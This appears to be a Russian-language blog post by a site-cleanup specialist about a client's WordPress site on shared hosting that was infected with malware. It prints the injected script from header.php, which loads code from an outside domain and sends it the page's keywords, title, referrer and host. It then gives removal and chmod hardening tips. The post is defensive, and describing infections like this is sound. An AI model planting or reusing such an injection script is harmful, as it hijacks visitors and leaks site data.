Как-то связался со мной очередной клиент, пожаловался мне что его забанил хостер за "malware".
Хостер как и полагается, оказался шаред, а самое прикольное что эти дебилы умудрились отключить пользователю SSH, мотивируя это "ограничением аккаунта". Это все равно что сказать "Уважаемый клиент, мы обнаружили у вас вирус, поэтому доступ к клавиатуре будет закрыт, пока вы не вылечитесь от вируса". Ну да ладно.
Анализируя контент клиента, я понял что он использует недоCMS под названием Wordpress. Тогда не удивительно и вполне себе предсказуемо.
Полазив еще немного по контенту, я нашел код этого malware:
<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0document.referrer!==undefineddocument.referrer!==''document.referrer!==null){document.write('<script type="text/javascript" src="http://jobinabardai.com/js/jquery.min.php?c_utt=I92930&c_utm='+encodeURIComponent('http://jobinabardai.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script> |
Два одинаковых малваря в одном и том же файле. Определенно писал школьник, почему-то считающий что в скрипте может быть только один закрывающий тег </head>
К счастью рецепт излечения прост: редактируем файл и просто удаляем из него эту строчку. Чтобы воспрепятствовать дальнейшему заражению (а оно будет, если вы не смените пароли/хостера/страну) - всего лишь поставьте права r-xr-xr-x (555) на файл header.php
Кто не помнит как это делается, напоминаю: chmod 555 header.php, а еще лучше chmod 555 `find -name 'header.php'` от корня - это поставит необходимые права доступа ВСЕМ файлам, найденным у вас в папке. Разумеется, если у вас Linux-хостинг, и вы имеете доступ к SSH, хотя бы ограниченно-клиентского уровня.
Судя по количеству подкаталогов у моего клиента, количеству Wordpress-копий, и количеству зараженных файлов - заражение велось либо через что-то очень забагованное внутри Wordpress (и это не тема, они были разными), либо рекурсивно через консоль и при участии/бездействии хостера.
Мораль сего рассказа такова: дешевый VPS стоит 5 баксов, и я считаю что это приемлемая цена за отсутствие такого геморроя, тем более что плюсов намного больше.
Удачного лечения.